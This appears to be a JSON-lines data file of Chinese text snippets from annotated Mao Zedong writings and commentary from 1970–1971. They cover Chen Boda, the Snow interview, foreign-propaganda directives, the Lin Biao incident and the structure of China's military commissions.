    {"text": "经过党章和宪法的修正后，党权、行政权、军权全面分离，新设立的中华人民共和国中央军事委员会和中国共产党中央军事委员严重冲突，不得不采用“两个牌子，一套人马”的办法，但即使这样，因为两个委员会的任期不一样，也会出现两套人马的情况。 这一阶段国家中央军事委员会主席独立于国家主席，直接由全国人民代表大会选举产生，任期每届五年，需要注意的是国家主席、副主席、国务院总理、副总理及人大常委会委员长等都有连续任职不得超过两届的规定，而国家中央军事委员会主席则没有限定。 就宪法文本来看，现行宪法规定国家主席有连任不得超过两届，而国家军事委员会主席没有连任的限制，就产生了国家主席与国家军事委员会主席非一元化的可能。 由于军事领导机关强调权力和责任的高度集中，同时又实行首长负责制，当出现非一元化的情形时，从中国以往的历史经验看，可能会出现危及国家安定的风险。 从春秋战国时期诸侯割据，到南北朝时期的诸国林立，再到民国时期的军阀混战，中华民族承受了太多战乱，所以军权的统一关系到国家的长治久安。 事实上在当代，各国武装力量的统帅权大多由国家元首享有，比如，在法国，总统是军队的最高军事统帅； 在美国，总统除享有国家武装力量的统率外作为三军总司令，还享有较大的战争权。"},
    {"text": "后来的历史事实也证明了，邓小平采用的这种分权模式，属于典型的因人设事，除了加强了他个人的权力外，没有给国家带来任何好处，两届总书记胡耀邦和赵紫阳都被逼下台，且酿成了“六四”镇压学生事件。 “六四”后，迫于党内外强大的压力，一九九〇年邓小平辞去中央军委主席，党的总书记江泽民担任中央军委主席，一九九三年，江泽民又顺利地出任国家主席，实现了党权、军权和国家元首的统一。 二〇〇二年，胡锦涛担任党的总书记，二〇〇三年胡锦涛又担任国家主席，二〇〇四年，胡锦涛又担任中共中央军委主席，二〇〇四年九月二十日，江泽民和胡锦涛在出席军委扩大会议时，江泽东同志指出“锦涛同志是党的总书记、国家主席，接任军委主席的职务顺理成章。 党的总书记、国家主席、军委主席三位一体这样的领导体制和领导形式，对我们这样一个大党、大国来说，不仅是必要的，而且是最妥当的办法”，至此“三位一体”的体制又建立起来了。"},
    {"text": "像这种多个职务集于一身“多位一体”才能保证实权元首的体制，尤其是两个军委主席（国家军委和中共军委）的职位还是有些问题，如二〇〇四年九月，中国共产党中央军事委员会主席胡锦涛授予张定发及靖志远上将军衔。 由于当时中华人民共和国中央军事委员会主席为江泽民，胡锦涛以中共中央军委主席授衔是违宪的，直到二〇〇五年三月的全国人大上，胡锦涛才接替江泽民担任国家军委主席。"},
    {"text": "〔2〕 一九七〇年四月十二日，毛泽东在林彪的建议上写的批示，林彪建议如下： 一、关于这次“人大”国家主席的问题，林彪同志仍然建议由毛主席兼任。"},
    {"text": "我的一点意见 我的一点意见 * （一九七〇年八月三十一日） 这个材料是陈伯达 〔2〕 同志搞的，欺骗了不少同志。 第一，这里没有马克思的话。 第二，只找了恩格斯一句话 〔3〕 ，而《路易·波拿巴特政变记》这部书不是马克思的主要著作。 第三，找了列宁的有五条 〔4〕 。其中第五条说，要有经过考验、受过专门训练和长期教育，并且彼此能够很好地互相配合的领袖，这里列举了四个条件。别人且不论，就我们中央委员会的同志来说，够条件的不很多。例如，我跟陈伯达这位天才理论家之间，共事三十多年，在一些重大问题上就从来没有配合过，更不去说很好的配合。仅举三次庐山会议 〔5〕 为例。第一次，他跑到彭德怀 〔6〕 那里去了。第二次，讨论工业七十条 〔7〕 ，据他自己说，上山几天就下山了，也不知道他为了什么原因下山，下山之后跑到什么地方去了。这一次，他可配合得很好了，采取突然袭击，煽风点火，唯恐天下不乱，大有炸平庐山，停止地球转动之势。我这些话，无非是形容我们的天才理论家的心（是什么心我不知道，大概是良心吧，可决不是野心）的广大而已。至于无产阶级的天下是否会乱，庐山能否炸平，地球是否停转，我看大概不会吧。上过庐山的一位古人 〔8〕 说：“杞国无事忧天倾”。我们不要学那位杞国人。最后关于我的话 〔9〕 ，肯定帮不了他多少忙。我是说主要地不是由于人们的天才，而是由于人们的社会实践。我同林彪 〔10〕 同志交换过意见，我们两人一致认为，这个历史家和哲学史家争论不休的问题，即通常所说的，是英雄创造历史，还是奴隶们创造历史，人的知识（才能也属于知识范畴）是先天就有的，还是后天才有的，是唯心论的先验论，还是唯物论的反映论，我们只能站在马列主义的立场上，而决不能跟陈伯达的谣言和诡辩混在一起。同时我们两人还认为，这个马克思主义的认识论问题，我们自己还要继续研究，并不认为事情已经研究完结。希望同志们同我们一道采取这种态度，团结起来，争取更大的胜利，不要上号称懂得马克思，而实际上根本不懂马克思那样一些人的当。 注 释 * 这是毛泽东同志对陈伯达一份报告 〔1〕 的批示。 〔1〕 指陈伯达一九七〇年中共九届二中全会期间搜集整理的《恩格斯、列宁、毛主席关于称天才的几段语录》和《林副主席指示》。 〔2〕 陈伯达，当时任中共中央政治局常委。原任中央文革小组组长。九大后，中央文革就解散了。 〔3〕 指恩格斯为马克思《路易·波拿巴特政变记》（今译为《路易·波拿巴的雾月十八日》）德文第三版写的序言中评价该书的一句话：“这是一部天才的著作。” 〔4〕 陈伯达摘录的这五条分别是： 1、“当你读到这些评论的时候，就会觉得自己好像是在亲自听取这位天才思想家讲话一样。”（列宁《卡·马克思致路·库格曼书信集俄译本序言》中对马克思对于各个作家的评论的评价） 2、“马克思的全部天才正在于他回答了人类先进思想已经提出的种种问题。”（列宁《马克思主义的三个来源和三个组成部分》） 3、“马克思的天才就在于他最先从这里得出了全世界历史提示的结论，并且一贯地推行了这个结论。这一结论就是关于阶级斗争的学说。”（列宁《马克思主义的三个来源和三个组成部分》） 4、“这真是多么天才的预见！”（列宁《预言》中对恩格斯谈未来世界大战一段话的评价）。 5、“在现代社会中，假如没有‘十来个’富有天才（而天才人物不是成千成百地产生出来的）、经过考验、受过专门训练和长期教育并且彼此能够很好地互相配合的领袖，无论哪个阶级都无法进行坚持不懈的斗争。”（列宁《怎么办？》） 〔5〕 三次庐山会议，指一九五九年七月二日至八月十六日在庐山先后举行的中共中央政治局扩大会议和八届八中全会，一九六一年八月二十三日至九月十六日在庐山举行的中共中央工作会议，一九七〇年八月二十三日至九月六日在庐山举行的中共九届二中全会。 〔6〕 彭德怀，原任中共中央政治局委员、中央军委副主席、国务院副总理兼国防部部长。一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议和八月二日至十六日召开的中共八届八中全会，会议通过的《关于以彭德怀同志为首的反党集团的错误的决议》，揭发和批判了彭德怀、张闻天、黄克诚等同志的错误。 〔7〕 指《国营工业企业工作条例（草案）》，共七十条，简称工业七十条。 〔8〕 指唐代诗人李白。 〔9〕 指陈伯达摘录的毛泽东《实践论》中的一段话：“马克思、恩格斯、列宁、斯大林之所以能够作出他们的理论，除了他们的天才条件之外，主要地是他们亲自参加了当时的阶级斗争和科学实验的实践，......” 〔10〕 林彪，时任中共中央副主席、中央军委副主席。"},
    {"text": "与斯诺的谈话——关于文化大革命 与斯诺的谈话 ——关于文化大革命 * （一九七〇年十二月十八日） 斯诺：我经常想给你写信，但我真正写信打扰你还只有这一次。"},
    {"text": "科学上的发明我赞成，比如，达尔文、康德 〔4〕 ，甚至还有你们美国的科学家，主要是那个研究原始社会的摩根 〔5〕 ，他的书马克思、恩格斯都非常欢迎。"},
    {"text": "毛泽东：尼克松要派代表来中国谈判，那是他自己提议的，有文件证明，说愿意在北京或者华盛顿当面谈，不要让我们外交部知道，也不要通过美国国务院。"},
    {"text": "斯诺：前两年我到远东来，见到一些学者，中国问题专家，总是问他们中间是否有任何人曾经写过关于《海瑞罢官》 〔27〕 一文的分析文章，并指出过该文的双重含义。"},
    {"text": "因为今天的青年人受到了比他们的上一辈更为良好的教育，国家的科学也在发展，而行政机构所执行的政策和他们的言谈之间的差距日益被人们所认识，以至于大多数公众对他们所认定的行政机构失去了信任。"},
    {"text": "中国的原子弹只有这么大（主席伸出小手指比划），俄国的原子弹有这么大（主席伸出大拇指比划），美国的原子弹有这么大（主席伸出另一只手的大拇指来比划），它们两个加起来有这么大（主席把两个大拇指并在一起），你看。"},
    {"text": "外交部在抗议声明中说：“这次血腥暴行，是英国政府勾结美帝反对中国的阴谋的一部分，妄图以高压手段抵制我国无产阶级文化大革命的伟大影响。"},
    {"text": "六月三日，《人民日报》发表社论，对香港当局和英国政府进行严厉谴责之后，号召香港爱国者“组织起来，准备伟大祖国一旦发出号召，粉碎英帝国主义的反动统治。"},
    {"text": "八月七日，王力向外交部造反派姚登山和“革命造反联络站”的代表发表了煽动夺外交部权的“八七讲话”。 八月十九日，由进驻外交部的外语学院“红旗造反兵团”小分队封了外交部党委，宣布“一切党政大权归联络站”。"},
    {"text": "八月二十日，因港英政府封闭了香港三家报馆（《夜报》、《田丰报》、《新午报》），中国外交部向英国驻华代办处发出照会：“最强烈抗议港英疯狂迫害香港爱国新闻事业。 港英当局必须在四十八小时内撤销对香港《夜报》、《田丰报》、《新午报》的停刊令，无罪释放十九名香港爱国新闻工作者和三家报纸的三十四名工作人员。"},
    {"text": "” 八月二十二日晚，最后通牒的时限已到，北京十几个单位的造反派跑到英国驻代办处门前，召集“声讨英帝反华罪行大会”，当天，由谢富治主持在工人体育场召开了数万人参加的声援声讨大会。"},
    {"text": "〔2〕 “五·一六”，原是北京的一个名为“首都五·一六红卫兵团”的反动小组织。 他们利用一九六七年五月在报刊上公开发表《五·一六通知》的机会，打着贯彻这个《通知》的旗号，建立秘密组织，进行秘密活动，散发、张贴攻击周恩来总理的反动传单。"},
    {"text": "他在《古代社会》中第一次论述了氏族是原始社会的基本组织，母系氏族和父系氏族存在与发展的规律以及婚姻、家庭形态的历史演变等，并把人类历史划分为蒙昧、野蛮与文明三个时代。"},
    {"text": "恩格斯也在《家庭、私有制和国家的起源》中引用其大量资料，阐述了摩尔根的研究成果，赞誉他“在原始历史的研究方面开辟了一个新时代”。"},
    {"text": "一九五五年四月二十三日，周恩来在亚非会议八国代表团团长会议上声明：中国政府愿意同美国政府谈判，讨论和缓远东紧张局势问题，特别是和缓台湾地区紧张局势问题。"},
    {"text": "〔10〕 王明，即陈绍禹，一九三一年一月中共六届四中全会至一九三五年一月遵义会议期间，是中共党内“左”倾冒险主义错误的主要代表。 在党内统治长达四年之久的这条王明路线，无视当时敌强我弱的实际情况，错误地估计革命形势，在政治、军事以及城市和农村工作中实行一整套“左”倾冒险主义的政策和策略；"},
    {"text": "同年五月，北美十三个州参加的第二届大陆会议通过了对英国进行武装革命的“宣言”，把北美民兵整编为大陆军，六月即一致推选华盛顿为大陆军总司令。"},
    {"text": "一九五一至一九五四年，他操纵参议院常设调查小组委员会并利用其他机构，对许多人和组织机构进行所谓的\"忠诚调查\"，采取非法审讯手段，迫害民主和进步力量，在美国国内制造恐怖。"},
    {"text": "〔27〕 《海瑞罢官》，是历史学家、北京市副市长吴晗写的新编历史剧，一九六〇年底完成，一九六一年初开始上演。 〔28〕 指江青一九六五年初在上海同张春桥秘密策划，后由姚文元执笔写成的《评新编历史剧〈海瑞罢官〉》一文，发表在一九六五年十一月十日上海《文汇报》。"},
    {"text": "〔30〕 一九七八年十二月十六日，中华人民共和国国务院总理华国锋和美国总统卡特分别在北京和华盛顿同时宣布两国决定自一九七九年一月一日起建立外交关系的联合公报。"},
    {"text": "〔32〕 指《论共产党员的修养》，是刘少奇一九三九年七月在延安马列学院所作论共产党员的修养演讲的第一和第二部分，原载一九三九年中共中央机关刊物《解放》第八十一至八十四期，同年延安新华书店出版单行本。"},
    {"text": "一九四九年经作者校阅并作了若干修改后，由解放社（人民出版社的前身）出修订第一版。 一九六二年作者又校阅了一次，作了一些文字上的修改和内容上的补充，将原来的两部分调整为九节，在《红旗》杂志第十五、十六期合刊上重新发表，并由人民出版社出修订第二版。"},
    {"text": "一九二七年十一月，他主持召开的中共中央临时政治局扩大会议，接受了共产国际代表罗米那兹“左”倾错误观点，认为当时中国革命的性质是所谓“不断革命”，混淆了民主革命和社会主义革命的界限，犯了“左”倾盲动主义的错误。"},
    {"text": "〔38〕 李立三，李立三，一九三〇年六月至九月，在担任中共中央政治局常委兼秘书长、中央宣传部部长，并实际主持中央工作期间，犯了“左”倾冒险主义错误。"},
    {"text": "对外宣传工作不可强加于人 对外宣传工作不可强加于人 * （一九六七年三月至一九七一年三月） （一）一九六八年三月七日，毛主席在一个拟在援外飞机喷刷毛主席语录的请示报告上批示：“不要那样做，做了效果不好。"},
    {"text": "” （二）一九六八年三月十日，毛主席对关于开好一九六八年春季出口商品交易会的通知，作了重要批改，在“必须高举毛泽东思想伟大红旗，突出无产阶级政治，把宣传毛泽东思想，宣传我国无产阶级文化大革命和社会主义建设的伟大胜利，当做首要任务”之后，增加了“但应注意，不要强加于人”一句。 （三）一九六八年三月十二日，毛主席删去了我援外某工程移交问题的请示报告中的一段话：“举行移交仪式时，应大力宣传战无不胜的毛泽东思想，说明我援x修建xxxx工程的成绩，是我们忠实地执行伟大领袖毛主席关于国际主义教导的结果，是伟大的毛泽东思想的胜利”，并批示“这些是强加于人的，不要这样做。 ” （四）一九六八年三月十七日，毛主席在关于答复新共威尔科克斯同志对我对外宣传工作的批评的请示报告上批示：“此事我已说了多次，对外（对内也如此）宣传应当坚决地有步骤地予以改革。 ” （五）一九六八年三月二十七日，毛主席对中共中央联络部起草的致缅甸共产党武装斗争二十周年的贺电，作了重要修改和批示。 毛主席将“马克思列宁主义、毛泽东思想的伟大胜利”，改为“马克思列宁主义与缅甸情况相结合的伟大胜利”，将无产阶级文化大革命“对于全世界被压迫人民和被压迫民族的革命斗争也具有伟大的意义”，改为“对于全世界被压迫人民和被压迫民族的革命斗争在某一方面也将具有一定的意义。 ” （六）一九六八年三月二十九日，毛主席在发表缅共武装斗争二十周年的声明的请示报告（涉及在我报刊上发表兄弟党对毛泽东思想的评价问题）上批示：“一般地说，一切外国党（马、列主义）的内政，我们不应干涉。"},
    {"text": "” （七）一九六八年四月六日，毛主席在中央联络部、总参谋部起草的关于帮助外国人员进行训练的文件中，将“主要是宣传全世界革命人民的伟大导师毛主席和战无不胜的马克思主义、列宁主义、毛泽东思想”一句中的“全世界革命人民的伟大导师毛主席和战无不胜的”二十一字删掉，并批示：“这些空话，以后不要再用。"},
    {"text": "” （九）一九六八年五月二十九日，毛主席对外交部关于加强宣传主席思想和支持西欧、北美革命群众斗争的建议，作了重要批示：“第一，要注意不要强加于人；"},
    {"text": "（十一）一九六八年七、八月间，毛主席在中共中央对外联络部起草的关于处理某兄弟党要求发表它的一篇文章的请示报告上批示：“删去几个字”，报告中两处提到希望该党“在马克思主义、列宁主义、毛泽东思想的原则基础上”解决党内分歧，毛主席都把“毛泽东思想”这几个字删去了。"},
    {"text": "” （十三）一九六八年九月，毛主席对中央文革起草的《庆祝中华人民共和国成立十九周年标语口号（送审稿）》的批示：“去掉第11条，不应用自己名义发出的口号称赞自己。"},
    {"text": "” （十四）一九六八年九月，外交部《关于巴基斯坦政府友好代表团来访接待计划的请示》原文中有“通过安排参观访问，突出宣传伟大的毛泽东思想和毛主席一系列最新指示，我无产阶级文化大革命全面胜利以及工农业生产的大好形势。"},
    {"text": "（十五）原文附的《欢迎（送）巴基斯坦政府友好代表团的标语口号》十九条，毛主席批注：“去掉三条”（即：17、毛主席的无产阶级革命路线胜利万岁！"},
    {"text": "） （十六）一九六九年一月，毛主席在《人民日报》、《红旗》杂志评论员文章《走投无路的自供状——评尼克松的“就职演说”和苏修叛徒集团的无耻捧场》上指示：“照发。"},
    {"text": "并在“如果苏联政府认为中国政府的和平解决边界问题的态度是软弱可欺，可以用核讹诈政策吓倒中国人民，用战争实现对中国的领土要求，那就完全打错了算盘。"},
    {"text": "（十八）毛主席在社论的第二段“二十年来，又取得了社会主义革命和社会主义建设的一系列伟大胜利，把一个贫穷落后的旧中国，变成一个繁荣昌盛的社会主义强国”一句中的“繁荣昌盛”前边加了“有了初步”四个字，将“强国”改为“国家”。"},
    {"text": "中国人民在伟大领袖毛主席的英明领导下，在社会主义革命和社会主义建设事业中，特别是在三年的无产阶级文化大革命中取得的伟大胜利，使我们的国家发生了翻天覆地的变化。"},
    {"text": "” （二十）一九七〇年六月三日，中国红十字会《关于救济秘鲁地震的请示》，拟以该会名义慰问并捐给秘鲁红十字会现款人民币五万元。 （二十一）一九七〇年六月七日，毛主席口头指示，给秘鲁救济五万元人民币太少。"},
    {"text": "” （二十三）一九七〇年九月，毛主席在中联部起草的我党中央致朝鲜劳动党成立二十五周年贺电稿上，将“经过无产阶级文化大革命锻炼的，用马克思主义、列宁主义、毛泽东思想武装起来的中国共产党全体党员和中国人民”里的“毛泽东思想”五个字圈去。"},
    {"text": "（二十四）一九七〇年十一月，外交部在《关于对越南南方五省受灾的慰问和赠款问题的请示报告》中，建议以中国红十字会名义向越南南方解放红十字会捐赠价值二百万人民币的物资。"},
    {"text": "” （二十五）一九七〇年十二月六日，毛主席在中联部《关于邀请“荷兰共产主义统一运动（马列）”派代表团访华的请示》上批示：“对于一切外国人，不要求他们承认中国人的思想，只要求他们承认马、列主义的普遍真理与该国革命的具体实践相结合。"},
    {"text": "只要看我们党的历史经过多少错误路线的教育才逐步走上正轨，并且至今还有问题，即对内对外都有大国沙文主义，必须加以克服，就可知道了。"},
    {"text": "到日本后支持柬民族团结政府不承认朗诺集团的球队为合法，并主张驱逐，对南越卖国集团派的球队，亦采取同一态度，对以色列也询问阿联、叙利亚的态度。"},
    {"text": "思想上政治上的路线正确与否是决定一切的 思想上政治上的路线 正确与否是决定一切的 * （一九七一年八月、九月） 希望你们要搞马克思主义，不要搞修正主义；"},
    {"text": "一九二七年“八七”会议 〔2〕 以后，他同刘仁静、彭述之 〔3〕 那些人，组织了“列宁主义者左翼反对派”，八十一个人发表声明，分裂我们党，没有搞成，他们跑到托洛茨基那一派去了。"},
    {"text": "王明在上海召开六届四中全会，发表了《为中共更加布尔什维克化而斗争》的小册子，批评李立三“左”得还不够，非把根据地搞光就不舒服，结果基本上搞光了。"},
    {"text": "我并不是不要说天才，天才就是比较聪明一点，天才不是靠一个人靠几个人，天才是靠一个党，党是无产阶级先锋队。 天才是靠群众路线，集体智慧。"},
    {"text": "一九五九年庐山会议跟彭德怀的斗争，是两个司令部的斗争。 跟刘少奇的斗争，也是两个司令部的斗争。 这次庐山会议，又是两个司令部的斗争。 庐山这一次的斗争，同前九次不同。"},
    {"text": "马克思、恩格斯是同时代的人，到列宁、斯大林一百年都不到，怎么能说几百年才出一个呢？ 中国有陈胜、吴广，有洪秀全、孙中山，怎么能说几千年才出一个呢？"},
    {"text": "批了陈伯达搞的那个骗了不少人的材料 〔20〕 ，批发了三十八军的报告 〔21〕 和济南军区反骄破满的报告 〔22〕 ，还有军委开了那么长的座谈会 〔23〕 ，根本不批陈，我在一个文件上加了批语。"},
    {"text": "九十九人 〔25〕 的会议，你们都到了，总理也作了总结讲话，发了五个大将 〔26〕 的检讨，还发了李雪峰，郑维山两个大将的检讨，都认为问题解决了。"},
    {"text": "三大纪律八项注意，“条条要记清”，“全国人民拥护又欢迎”。 现在就是有几条记不清了，特别是三大纪律的第一条，八项注意的第一条和第五条，这几条记不清了。"},
    {"text": "一九二七年十一月，他主持召开的中共中央临时政治局扩大会议，接受了共产国际代表罗米那兹“左”倾错误观点，认为当时中国革命的性质是所谓“不断革命”，混淆了民主革命和社会主义革命的界限，犯了“左”倾盲动主义的错误。"},
    {"text": "十一月九日至十日，在共产国际代表罗米那兹指导下，瞿秋白在上海主持召开中共中央临时政治局扩大会议，通过《中国现状与共产党的任务决议案》等。"},
    {"text": "十四日印发的《政治纪律决议案》，批评湖南省委在秋收起义指导上“完全违背中央策略”，“湖南暴动应以农民群众为其主力”，湖南省委却把它“变成了单纯的军事投机的失败”，并说湖南省委的错误，毛泽东应负严重的责任，决定撤销其中央政治局候补委员和湖南省委委员职务。"},
    {"text": "〔6〕 李立三，李立三，一九三〇年六月至九月，在担任中共中央政治局常委兼秘书长、中央宣传部部长，并实际主持中央工作期间，犯了“左”倾冒险主义错误。"},
    {"text": "〔7〕 罗章龙（一八九六年——一九九五年二月三日），又名文虎，中国湖南浏阳人，中国共产党早期领导人之一。 一九三一年在中共六届四中全会后，另组“中国共产党非常委员会”，进行分裂党的活动，一九三一年一月二十七日中央政治局通过《关于开除罗章龙中央委员及党籍的决议案》，将其定为“右派小组织”，开除出党。"},
    {"text": "〔8〕 王明，即陈绍禹，一九三一年一月中共六届四中全会至一九三五年一月遵义会议期间，是中共党内“左”倾冒险主义错误的主要代表。 在党内统治长达四年之久的这条王明路线，无视当时敌强我弱的实际情况，错误地估计革命形势，在政治、军事以及城市和农村工作中实行一整套“左”倾冒险主义的政策和策略；"},
    {"text": "曾任中共中央委员、中央政治局委员、中央政治局常委，一九三五年六月红军第一、第四方面军在四川懋功（今小金）地区会师后，任红军总政治委员。"},
    {"text": "〔11〕 一九五九年庐山会议期间，一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议和八月二日至十六日召开的中共八届八中全会，会议通过的《关于以彭德怀同志为首的反党集团的错误的决议》，揭发和批判了彭德怀、张闻天、黄克诚等同志的错误，他们把一些暂时的、局部的、早已克服了或者正在迅速克服中的缺点收集起来，并且加以极端夸大，把形势描写成为漆黑一团，企图向党要权。"},
    {"text": "一九六八年被诊断为“肺炎杆菌性肺炎”，在七月中旬的一次发病后，虽经尽力抢救，从此丧失意识，一九六八年十月中共八届十二中全会通过《关于叛徒、内奸、工贼刘少奇罪行的审查报告》。"},
    {"text": "〔13〕 黄永胜，时任中共中央政治局委员、中央军委办事组组长、中国人民解放军总参谋长。 吴法宪，时任中共中央政治局委员、中央军委办事组副组长、中国人民解放军副总参谋长兼空军司令员。 叶群，时任中共中央政治局委员、中央军委办事组成员、林彪办公室主任。 李作鹏，时任中共中央政治局委员，中央军委办事组成员、中国人民解放军副总参谋长兼海军政治委员。 邱会作，时任中共中央委员、中央军委办事组成员、中国人民解放军副总参谋长兼总后勤部部长。"},
    {"text": "〔16〕 《我的一点意见》写在陈伯达一九七〇年中共九届二中全会期间搜集整理的《恩格斯、列宁、毛主席关于称天才的几段语录》和《林副主席指示》上，批评了陈伯达鼓吹天才的论调。"},
    {"text": "到会的有北京军区、华北各省军区、北京卫戍区、天津警备区及华北地区有关单位负责人共四百四十九人。 从一九七一年一月九日起，出席中央军委座谈会的一百四十三人也参加会议。"},
    {"text": "〔22〕 指中国人民解放军济南军区政治部一九七一年一月五日给中共中央军委、总政治部写报告说，我们在学习贯彻毛主席关于“军队要谨慎”的指示中，主要抓了以下问题： 一是破“一贯正确论”，立一分为二的世界观。"},
    {"text": "针对有的同志总觉得自己“比群众高明”，好摆官架子，动辄批评训斥，大小事都要他说了算的问题，用毛主席“既当‘官’，又当老百姓”、“决不许可摆架子”的指示武装干部的头脑，引导大家从谈文化大革命的经验教训入手，看官气十足的危害。"},
    {"text": "三是破骄傲有“资本”论，立为人民要立新功的思想。 通过学习毛主席关于“老干部过去有功劳，但是不能靠吃老本，要立新功，立新劳”的教导，进行小整风，展开思想交锋，在灵魂深处搞斗、批、改，自觉放下“战功”与“新功”两个包袱。"},
    {"text": "简报称林彪的讲话“非常重要，非常好”，“代表了全党的心愿，代表了全国人民的心愿”，大家衷心赞成“在宪法上，第二条增加毛主席是国家主席，林副主席是国家副主席”和“宪法要恢复国家主席一章”的建议。"},
    {"text": "八月二十五日下午，毛泽东主持召开有各组组长参加的中央政治局常委扩大会议，决定中央全会分组会议立即停止讨论林彪的讲话，收回华北组第二号简报，责令陈伯达检讨。"},
    {"text": "〔31〕 彭罗陆杨，彭，指彭真，原任中共中央政治局委员，中央书记处书记、北京市委第一书记、北京市市长。 罗，指罗瑞卿，原任中共中央书记处书记、国务院副总理兼国防部副部长、中国人民解放军总参谋长。 陆，指陆定一，原任中共中央政治局候补委员、中央书记处书记、中央宣传部部长、国务院副总理兼文化部部长。 杨，指杨尚昆，原任中共中央书记处候补书记、中央办公厅主任。"},
    {"text": "一九六九年十月，时任空军司令员的吴法宪按林彪的授意，任命林立果为空军司令部办公室副主任兼作战部副部长，后吴法宪把空军的指挥大权私自交给林立果。"},
    {"text": "《纪要》宣称：九届二中全会以来国内“政局不稳”，“军队受压”，“对方目标在改变接班人”，形势“正朝着有利于笔杆子，而不利于枪杆子方向发展”；"},
    {"text": "为此，《纪要》规定了武装政变的实施要点、口号和策略，提出“军事行动上先发制人”，“利用上层集会一网打尽”或“利用特种手段”如“轰炸、543（一种导弹代号）、车祸、暗杀、绑架、城市游击小分队”等，实现“夺取全国政权”或形成“割据局面”，并提出“借苏（联）力量钳制国内外其他各种力量”。"},
    {"text": "阴谋杀害毛泽东主席，谋杀阴谋失败后，准备南逃广州另立中央的计划也随之败露，九月十三日凌晨，林立果同林彪、叶群在山海关机场强行驾机外逃，飞机坠毁，摔死在蒙古温都尔汗附近。"},
    {"text": "静火有言：以林彪之军事上的杰出才能和政治上的成熟老辣，尽管在政治上失利，但也断不会制定如此幼稚可笑的《“五七一”工程纪要》，可惜其教子无方，受其拖累，家破人亡，身败名裂。"},
    {"text": "恢复联合国席位后的谈话 恢复联合国席位后的谈话 * （一九七一年十月二十六日、十一月八日） （一）（一九七一年十月二十六日） 毛泽东：小唐 〔1〕 呀，密斯南希·唐，你的国家失败了呀，看你怎么办哪？"},
    {"text": "投赞成票的，亚洲国家十九个，非洲国家二十六个，拉丁美洲是美国的“后院”，只有古巴和智利同我们建交，这次居然有七个国家投我们的票。"},
    {"text": "要讲点历史，一七七六年美国独立战争，一七八九年法国大革命，一九一七年俄国十月革命，都是伟大的，但是都没有一九四五年以来这样大的规模。"},
    {"text": "〔2〕 一九七一年七月九日至十一日，秘密访华的美国国务卿基辛格告诉周恩来：尼克松总统已经决定，美国今年将支持中华人民共和国取得联合国和安全理事会（简称安理会）的席位，但不同意从联合国驱逐台湾的行动。"},
    {"text": "我党历史上著名的王牌间谍，原名熊汇荃，祖籍安徽凤阳，生于山东省掖县（今莱州市），清华大学中文系毕业，一九三七年，奉周恩来指示打入国民党胡宗南部，一九三九年三月至一九四七年五月，任胡宗南的侍从副官、机要秘书，成了胡宗南的亲信，负责处理机密文电和日常事务，起草讲话稿。"},
    {"text": "一九二五年加入中国共产党。 一九五八年五月在中共八届五中全会上被增选为中共中央副主席、政治局常务委员。 一九五九年任中央军委副主席、国防部长，主持中央军委工作。"},
    {"text": "在九届二中全会上主张设国家主席（毛泽东主席明确表示要改变国家体制不设国家主席），并组织人企图压服中央，犯了错误，被毛泽东主席识破，对其进行了警告和批评，并等待其认错达一年之久（从一九七〇年九月到一九七一年九月），不料，其子林立果狂妄自大，趁毛泽东南巡之时，妄图谋杀毛泽东主席，事情败露后，九月十三日夜，林立果挟制林彪和叶群驾机逃往苏联，最后坠毁于蒙古温都尔汗，史称“九一三”事件。"},
    {"text": "〔8〕 指吴旭君，毛泽东的护士长，自一九五三年至一九七四年在毛泽东身边工作二十一年，恪尽职守，兢兢业业，日夜坚守在护理毛泽东的第一线，兼做部分国际问题秘书的工作。"},
    {"text": "〔9〕 弗朗西斯科·佛朗哥（一八九二年十二月四日——一九七五年十一月二十日），西班牙政治家，军事家，法西斯主义独裁者，西班牙大元帅，西班牙长枪党党魁。"},
    {"text": "〔12〕 伍修权，一九五〇年十一月，联合国安理会审议中国提出的“美国武装侵略台湾案”，伍修权作为中国政府特派代表赴会，在联合国讲台上慷慨陈词，严厉驳斥美国及其同伙对我国的种种诬蔑和诽谤，痛斥了美国对我国领土台湾的入侵和战争威胁，维护了我国的主权和尊严。"},
    {"text": "一九七一年七月九日至十一日，基辛格作为尼克松总统秘密特使访华，七月十六日中美双方公布了基辛格访华的公告：“周恩来总理和尼克松总统的国家安全事务助理基辛格博士，于一九七一年七月九日至十一日在北京进行了密谈。 获悉，尼克松总统曾表示希望访问中华人民共和国，周恩来总理代表中华人民共和国政府邀请尼克松总统于一九七二年五月以前的适当时间访问中国。"},
    {"text": "一九七一年十月二十日至二十六日，基辛格公开访华，为尼克松访华做准备工作，与中方共同草拟联合公报草案。 〔14〕 公报，指后来尼克松访华时一九七二年二月二十七日在上海发表的《中美联合公报》，简称《上海公报》。"},
    {"text": "〔16〕 这是一九七一年十一月八日晚八时，毛泽东主席约见周恩来总理、姬鹏飞、乔冠华、符浩、熊向晖、陈楚、唐明照、安致远、王海容、唐闻生、章文晋及回国述职的驻法大使黄镇、驻苏大使刘新权时的谈话。"},
    {"text": "分九个部分：（一）可能性（二）必要性（三）基本条件（四）时机（五）力量（六）口号和纲领（七）实施要点（八）政策和策略（九）保密和纪律。"},
    {"text": "根据“五七一工程纪要”，林立果等人共策划了八种手法杀死毛泽东，“逼宫形式：利用特种手段如毒气、细菌武器、轰炸、543（静火注：国防科委统一规定的地空导弹兵器代号）、车祸、暗杀、绑架、城市游击小分队”。 该纪要还恶毒地辱骂毛泽东是“暴君”“独裁者”，并提出“打着B-52旗号打击B-52力量”（静火注：越战中臭名昭著的B-52轰炸机，借此暗示毛泽东亲美，并借指毛泽东），并规定“此工程属特级绝密，不经批准不得准向任何人透露。"},
